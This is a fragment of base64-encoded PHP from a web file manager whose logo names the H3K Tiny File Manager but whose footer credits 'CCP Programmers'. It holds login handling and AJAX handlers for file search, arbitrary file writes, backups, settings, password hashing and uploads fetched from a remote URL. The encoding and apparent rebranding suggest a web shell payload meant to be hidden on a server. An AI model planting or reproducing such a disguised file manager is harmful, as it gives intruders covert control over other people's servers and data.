XSkpIHtcbiAgICAgICAgICAgICAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddID0gJF9QT1NUWydmbV91c3InXTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnWW91IGFyZSBsb2dnZWQgaW4nKSk7XG4gICAgICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwpO1xuICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKTtcbiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJyksICdlcnJvcicpO1xuICAgICAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nKSwgJ2Vycm9yJyk7O1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgICAgIGZtX3Nob3dfaGVhZGVyX2xvZ2luKCk7XG4/PlxuICAgICAgICA8c2VjdGlvbiBjbGFzcz1cImgtMTAwXCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29udGFpbmVyIGgtMTAwXCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cInJvdyBqdXN0aWZ5LWNvbnRlbnQtbWQtY2VudGVyIGFsaWduLWNvbnRlbnQtY2VudGVyIGgtMTAwdmhcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtd3JhcHBlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgZmF0XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0tc2lnbmluXCIgYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiIGF1dG9jb21wbGV0ZT1cIm9mZlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnJhbmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN2ZyB2ZXJzaW9uPVwiMS4wXCIgeG1sbnM9XCJodHRwOlwvXC93d3cudzMub3JnXC8yMDAwXC9zdmdcIiBNMTAwOCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCI4MHB4XCIgdmlld0JveD1cIjAgMCAyMzguMDAwMDAwIDE0MC4wMDAwMDBcIiBhcmlhLWxhYmVsPVwiSDNLIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZyB0cmFuc2Zvcm09XCJ0cmFuc2xhdGUoMC4wMDAwMDAsMTQwLjAwMDAwMCkgc2NhbGUoMC4xMDAwMDAsLTAuMTAwMDAwKVwiIGZpbGw9XCIjMDAwMDAwXCIgc3Ryb2tlPVwibm9uZVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9XCJNMTYwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjYwIDAgMjYwIDcwIDAgNzAgMCAwIC0yNjAgMCAtMjYwIDExMCAwIDExMCAwIDAgNjAwIDAgNjAwIC0xMTAgMCAtMTEwIDAgMCAtMjYwIDAgLTI2MCAtNzAgMCAtNzAgMCAwIDI2MCAwIDI2MCAtMTEwIDAgLTExMCAwIDAgLTYwMHpcIiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBmaWxsPVwiIzAwMzUwMFwiIGQ9XCJNMTAwOCAxMjI3IGwtMTA4IC03MiAwIC0xMTcgMCAtMTE4IDExMCAwIDExMCAwIDAgMTEwIDAgMTEwIDcwIDAgNzAgMCAwIC0xODAgMCAtMTgwIC0xMjUgMCBjLTY5IDAgLTEyNSAtMyAtMTI1IC02IDAgLTMgMjMgLTM5IDUyIC04MCBsNTIgLTc0IDczIDAgNzMgMCAwIC0xODUgMCAtMTg1IC03MCAwIC03MCAwIDAgMTE1IDAgMTE1IC0xMTAgMCAtMTEwIDAgMCAtMTkwIDAgLTE5MCAxODEgMCAxODEgMCAxMDkgNzMgMTA4IDcyIDEgMTgxIDAgMTgxIC02OSA0OCAtNjggNDkgNjggNTAgNjkgNDkgMCAyNDkgMCAyNDggLTE4MiAtMSAtMTgzIDAgLTEwNyAtNzJ6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD1cIk0xNjQwIDcwMCBsMCAtNjAwIDExMCAwIDExMCAwIDAgMjA4IDAgMjA4IDM1IDM0IDM1IDM0IDM1IC0zNCAzNSAtMzQgMCAtMjA4IDAgLTIwOCAxMTAgMCAxMTAgMCAwIDIxMiAwIDIxMyAtODcgODcgLTg4IDg4IDg4IDg4IDg3IDg3IDAgMjEzIDAgMjEyIC0xMTAgMCAtMTEwIDAgMCAtMjA4IDAgLTIwOCAtNzAgLTY5IC03MCAtNjkgMCAyNzcgMCAyNzcgLTExMCAwIC0xMTAgMCAwIC02MDB6XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9nPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zdmc+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9XCJjYXJkLXRpdGxlXCI+PD9waHAgZWNobyBBUFBfVElUTEU7ID8+PFwvaDE+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGhyIFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwiZm1fdXNyXCIgY2xhc3M9XCJwYi0yXCI+PD9waHAgZWNobyBsbmcoJ1VzZXJuYW1lJyk7ID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBpZD1cImZtX3VzclwiIG5hbWU9XCJmbV91c3JcIiByZXF1aXJlZCBhdXRvZm9jdXM+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImZtX3B3ZFwiIGNsYXNzPVwicGItMlwiPjw/cGhwIGVjaG8gbG5nKCdQYXNzd29yZCcpOyA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwicGFzc3dvcmRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIGlkPVwiZm1fcHdkXCIgbmFtZT1cImZtX3B3ZFwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZtX3Nob3dfbWVzc2FnZSgpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gaHRtbGVudGl0aWVzKCRfU0VTU0lPTlsndG9rZW4nXSk7ID8+XCIgXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1zdWNjZXNzIGJ0bi1ibG9jayB3LTEwMCBtdC00XCIgcm9sZT1cImJ1dHRvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnTG9naW4nKTsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZvb3RlciB0ZXh0LWNlbnRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICZtZGFzaDsmbWRhc2g7ICZjb3B5O1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wvXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LW11dGVkXCIgZGF0YS12ZXJzaW9uPVwiPD9waHAgZWNobyBWRVJTSU9OOyA/PlwiPkNDUCBQcm9ncmFtbWVyczxcL2E+ICZtZGFzaDsmbWRhc2g7XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgIDxcL3NlY3Rpb24+XG5cbiAgICA8P3BocFxuICAgICAgICBmbV9zaG93X2Zvb3Rlcl9sb2dpbigpO1xuICAgICAgICBleGl0O1xuICAgIH1cbn1cblxuaWYgKCR1c2VfYXV0aCAmJiBpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSkge1xuICAgICRyb290X3BhdGggPSBpc3NldCgkZGlyZWN0b3JpZXNfdXNlcnNbJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXV0pID8gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dIDogJHJvb3RfcGF0aDtcbn1cblxuJHJvb3RfcGF0aCA9IHJ0cmltKCRyb290X3BhdGgsICdcXFxcXC8nKTtcbiRyb290X3BhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRyb290X3BhdGgpO1xuaWYgKCFAaXNfZGlyKCRyb290X3BhdGgpKSB7XG4gICAgZWNobyBcIjxoMT5cIiAuIGxuZygnUm9vdCBwYXRoJykgLiBcIiBcXFwieyRyb290X3BhdGh9XFxcIiBcIiAuIGxuZygnbm90IGZvdW5kIScpIC4gXCIgPFwvaDE+XCI7XG4gICAgZXhpdDtcbn1cblxuZGVmaW5lZCgnRk1fU0hPV19ISURERU4nKSB8fCBkZWZpbmUoJ0ZNX1NIT1dfSElEREVOJywgJHNob3dfaGlkZGVuX2ZpbGVzKTtcbmRlZmluZWQoJ0ZNX1JPT1RfUEFUSCcpIHx8IGRlZmluZSgnRk1fUk9PVF9QQVRIJywgJHJvb3RfcGF0aCk7XG5kZWZpbmVkKCdGTV9MQU5HJykgfHwgZGVmaW5lKCdGTV9MQU5HJywgJGxhbmcpO1xuZGVmaW5lZCgnRk1fRklMRV9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX0ZJTEVfRVhURU5TSU9OJywgJGFsbG93ZWRfZmlsZV9leHRlbnNpb25zKTtcbmRlZmluZWQoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nKSB8fCBkZWZpbmUoJ0ZNX1VQTE9BRF9FWFRFTlNJT04nLCAkYWxsb3dlZF91cGxvYWRfZXh0ZW5zaW9ucyk7XG5kZWZpbmVkKCdGTV9FWENMVURFX0lURU1TJykgfHwgZGVmaW5lKCdGTV9FWENMVURFX0lURU1TJywgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSA/IHNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcykgOiAkZXhjbHVkZV9pdGVtcykpO1xuZGVmaW5lZCgnRk1fRE9DX1ZJRVdFUicpIHx8IGRlZmluZSgnRk1fRE9DX1ZJRVdFUicsICRvbmxpbmVfdmlld2VyKTtcbmRlZmluZSgnRk1fUkVBRE9OTFknLCAkZ2xvYmFsX3JlYWRvbmx5IHx8ICgkdXNlX2F1dGggJiYgIWVtcHR5KCRyZWFkb25seV91c2VycykgJiYgaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSkgJiYgaW5fYXJyYXkoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSwgJHJlYWRvbmx5X3VzZXJzKSkpO1xuZGVmaW5lKCdGTV9JU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXFxcJyk7XG5cbmlmICghaXNzZXQoJF9HRVRbJ3AnXSkgJiYgZW1wdHkoJF9GSUxFUykpIHtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbn1cblxuJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAoaXNzZXQoJF9QT1NUWydwJ10pID8gJF9QT1NUWydwJ10gOiAnJyk7XG5cbiRwID0gZm1fY2xlYW5fcGF0aCgkcCk7XG5cbiRpbnB1dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6XC9cL2lucHV0Jyk7XG4kX1BPU1QgPSAoc3RycG9zKCRpbnB1dCwgJ2FqYXgnKSAhPSBGQUxTRSAmJiBzdHJwb3MoJGlucHV0LCAnc2F2ZScpICE9IEZBTFNFKSA/IGpzb25fZGVjb2RlKCRpbnB1dCwgdHJ1ZSkgOiAkX1BPU1Q7XG5cbmRlZmluZSgnRk1fUEFUSCcsICRwKTtcbmRlZmluZSgnRk1fVVNFX0FVVEgnLCAkdXNlX2F1dGgpO1xuZGVmaW5lKCdGTV9FRElUX0ZJTEUnLCAkZWRpdF9maWxlcyk7XG5kZWZpbmVkKCdGTV9JQ09OVl9JTlBVVF9FTkMnKSB8fCBkZWZpbmUoJ0ZNX0lDT05WX0lOUFVUX0VOQycsICRpY29udl9pbnB1dF9lbmNvZGluZyk7XG5kZWZpbmVkKCdGTV9VU0VfSElHSExJR0hUSlMnKSB8fCBkZWZpbmUoJ0ZNX1VTRV9ISUdITElHSFRKUycsICR1c2VfaGlnaGxpZ2h0anMpO1xuZGVmaW5lZCgnRk1fSElHSExJR0hUSlNfU1RZTEUnKSB8fCBkZWZpbmUoJ0ZNX0hJR0hMSUdIVEpTX1NUWUxFJywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcbmRlZmluZWQoJ0ZNX0RBVEVUSU1FX0ZPUk1BVCcpIHx8IGRlZmluZSgnRk1fREFURVRJTUVfRk9STUFUJywgJGRhdGV0aW1lX2Zvcm1hdCk7XG5cbnVuc2V0KCRwLCAkdXNlX2F1dGgsICRpY29udl9pbnB1dF9lbmNvZGluZywgJHVzZV9oaWdobGlnaHRqcywgJGhpZ2hsaWdodGpzX3N0eWxlKTtcblxuXG5pZiAoKGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ10sICRhdXRoX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSB8fCAhRk1fVVNFX0FVVEgpICYmIGlzc2V0KCRfUE9TVFsnYWpheCddLCAkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGhlYWRlcignSFRUUFwvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcInNlYXJjaFwiKSB7XG4gICAgICAgICRkaXIgPSAkX1BPU1RbJ3BhdGgnXSA9PSBcIi5cIiA/ICcnIDogJF9QT1NUWydwYXRoJ107XG4gICAgICAgICRyZXNwb25zZSA9IHNjYW4oZm1fY2xlYW5fcGF0aCgkZGlyKSwgJF9QT1NUWydjb250ZW50J10pO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZihGTV9SRUFET05MWSl7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0eXBlJ10pICYmICRfUE9TVFsndHlwZSddID09IFwic2F2ZVwiKSB7XG4gICAgICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgICAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTtcbiAgICAgICAgfVxuICAgICAgICAkZmlsZSA9ICRfR0VUWydlZGl0J107XG4gICAgICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7XG4gICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICRmaWxlKTtcbiAgICAgICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xuICAgICAgICB9XG4gICAgICAgIGhlYWRlcignWC1YU1MtUHJvdGVjdGlvbjowJyk7XG4gICAgICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICAgICAkd3JpdGVkYXRhID0gJF9QT1NUWydjb250ZW50J107XG4gICAgICAgICRmZCA9IGZvcGVuKCRmaWxlX3BhdGgsIFwid1wiKTtcbiAgICAgICAgJHdyaXRlX3Jlc3VsdHMgPSBAZndyaXRlKCRmZCwgJHdyaXRlZGF0YSk7XG4gICAgICAgIGZjbG9zZSgkZmQpO1xuICAgICAgICBpZiAoJHdyaXRlX3Jlc3VsdHMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgNTAwIEludGVybmFsIFNlcnZlciBFcnJvclwiKTtcbiAgICAgICAgICAgIGRpZShcIkNvdWxkIE5vdCBXcml0ZSBGaWxlISAtIENoZWNrIFBlcm1pc3Npb25zIFwvIE93bmVyc2hpcFwiKTtcbiAgICAgICAgfVxuICAgICAgICBkaWUodHJ1ZSk7XG4gICAgfVxuXG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndHlwZSddKSAmJiAkX1BPU1RbJ3R5cGUnXSA9PSBcImJhY2t1cFwiICYmICFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHtcbiAgICAgICAgJGZpbGVOYW1lID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2ZpbGUnXSk7XG4gICAgICAgICRmdWxsUGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLyc7XG4gICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7XG4gICAgICAgICAgICAkcmVsYXRpdmVEaXJQYXRoID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ3BhdGgnXSk7XG4gICAgICAgICAgICAkZnVsbFBhdGggLj0gXCJ7JHJlbGF0aXZlRGlyUGF0aH1cL1wiO1xuICAgICAgICB9XG4gICAgICAgICRkYXRlID0gZGF0ZShcImRNeS1IaXNcIik7XG4gICAgICAgICRuZXdGaWxlTmFtZSA9IFwieyRmaWxlTmFtZX0teyRkYXRlfS5iYWtcIjtcbiAgICAgICAgJGZ1bGx5UXVhbGlmaWVkRmlsZU5hbWUgPSAkZnVsbFBhdGggLiAkZmlsZU5hbWU7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmdWxseVF1YWxpZmllZEZpbGVOYW1lKSkge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJGaWxlIHskZmlsZU5hbWV9IG5vdCBmb3VuZFwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGlmIChjb3B5KCRmdWxseVF1YWxpZmllZEZpbGVOYW1lLCAkZnVsbFBhdGggLiAkbmV3RmlsZU5hbWUpKSB7XG4gICAgICAgICAgICAgICAgZWNobyBcIkJhY2t1cCB7JG5ld0ZpbGVOYW1lfSBjcmVhdGVkXCI7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oXCJDb3VsZCBub3QgY29weSBmaWxlIHskZmlsZU5hbWV9XCIpO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgIGVjaG8gJGUtPmdldE1lc3NhZ2UoKTtcbiAgICAgICAgfVxuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJzZXR0aW5nc1wiKSB7XG4gICAgICAgIGdsb2JhbCAkY2ZnLCAkbGFuZywgJHJlcG9ydF9lcnJvcnMsICRzaG93X2hpZGRlbl9maWxlcywgJGxhbmdfbGlzdCwgJGhpZGVfQ29scywgJHRoZW1lO1xuICAgICAgICAkbmV3TG5nID0gJF9QT1NUWydqcy1sYW5ndWFnZSddO1xuICAgICAgICBmbV9nZXRfdHJhbnNsYXRpb25zKFtdKTtcbiAgICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRuZXdMbmcsICRsYW5nX2xpc3QpKSB7XG4gICAgICAgICAgICAkbmV3TG5nID0gJ2VuJztcbiAgICAgICAgfVxuXG4gICAgICAgICRlcnAgPSBpc3NldCgkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddKSAmJiAkX1BPU1RbJ2pzLWVycm9yLXJlcG9ydCddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkc2hmID0gaXNzZXQoJF9QT1NUWydqcy1zaG93LWhpZGRlbiddKSAmJiAkX1BPU1RbJ2pzLXNob3ctaGlkZGVuJ10gPT0gXCJ0cnVlXCIgPyB0cnVlIDogZmFsc2U7XG4gICAgICAgICRoY28gPSBpc3NldCgkX1BPU1RbJ2pzLWhpZGUtY29scyddKSAmJiAkX1BPU1RbJ2pzLWhpZGUtY29scyddID09IFwidHJ1ZVwiID8gdHJ1ZSA6IGZhbHNlO1xuICAgICAgICAkdGUzID0gJF9QT1NUWydqcy10aGVtZS0zJ107XG5cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ2xhbmcnXSAhPSAkbmV3TG5nKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydsYW5nJ10gPSAkbmV3TG5nO1xuICAgICAgICAgICAgJGxhbmcgPSAkbmV3TG5nO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSAhPSAkZXJwKSB7XG4gICAgICAgICAgICAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA9ICRlcnA7XG4gICAgICAgICAgICAkcmVwb3J0X2Vycm9ycyA9ICRlcnA7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gIT0gJHNoZikge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnc2hvd19oaWRkZW4nXSA9ICRzaGY7XG4gICAgICAgICAgICAkc2hvd19oaWRkZW5fZmlsZXMgPSAkc2hmO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddICE9ICRzaGYpIHtcbiAgICAgICAgICAgICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gPSAkc2hmO1xuICAgICAgICAgICAgJHNob3dfaGlkZGVuX2ZpbGVzID0gJHNoZjtcbiAgICAgICAgfVxuICAgICAgICBpZiAoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gIT0gJGhjbykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gPSAkaGNvO1xuICAgICAgICAgICAgJGhpZGVfQ29scyA9ICRoY287XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRjZmctPmRhdGFbJ3RoZW1lJ10gIT0gJHRlMykge1xuICAgICAgICAgICAgJGNmZy0+ZGF0YVsndGhlbWUnXSA9ICR0ZTM7XG4gICAgICAgICAgICAkdGhlbWUgPSAkdGUzO1xuICAgICAgICB9XG4gICAgICAgICRjZmctPnNhdmUoKTtcbiAgICAgICAgZWNobyB0cnVlO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJwd2RoYXNoXCIpIHtcbiAgICAgICAgJHJlcyA9IGlzc2V0KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgJiYgIWVtcHR5KCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSkgPyBwYXNzd29yZF9oYXNoKCRfUE9TVFsnaW5wdXRQYXNzd29yZDInXSwgUEFTU1dPUkRfREVGQVVMVCkgOiAnJztcbiAgICAgICAgZWNobyAkcmVzO1xuICAgIH1cblxuICAgIGlmIChpc3NldCgkX1BPU1RbJ3R5cGUnXSkgJiYgJF9QT1NUWyd0eXBlJ10gPT0gXCJ1cGxvYWRcIiAmJiAhZW1wdHkoJF9SRVFVRVNUW1widXBsb2FkdXJsXCJdKSkge1xuICAgICAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAgICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgICAgICB9XG5cbiAgICAgICAgZnVuY3Rpb24gZXZlbnRfY2FsbGJhY2soJG1lc3NhZ2UpXG4gICAgICAgIHtcbiAgICAgICAgICAgIGdsb2JhbCAkY2FsbGJhY2s7XG4gICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRtZXNzYWdlKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGZ1bmN0aW9uIGdldF9maWxlX3BhdGgoKVxuICAgICAgICB7XG4gICAgICAgICAgICBnbG9iYWwgJHBhdGgsICRmaWxlaW5mbywgJHRlbXBfZmlsZTtcbiAgICAgICAgICAgIHJldHVybiAkcGF0aCAuIFwiXC9cIiAuIGJhc2VuYW1lKCRmaWxlaW5mby0+bmFtZSk7XG4gICAgICAgIH1cblxuICAgICAgICAkdXJsID0gIWVtcHR5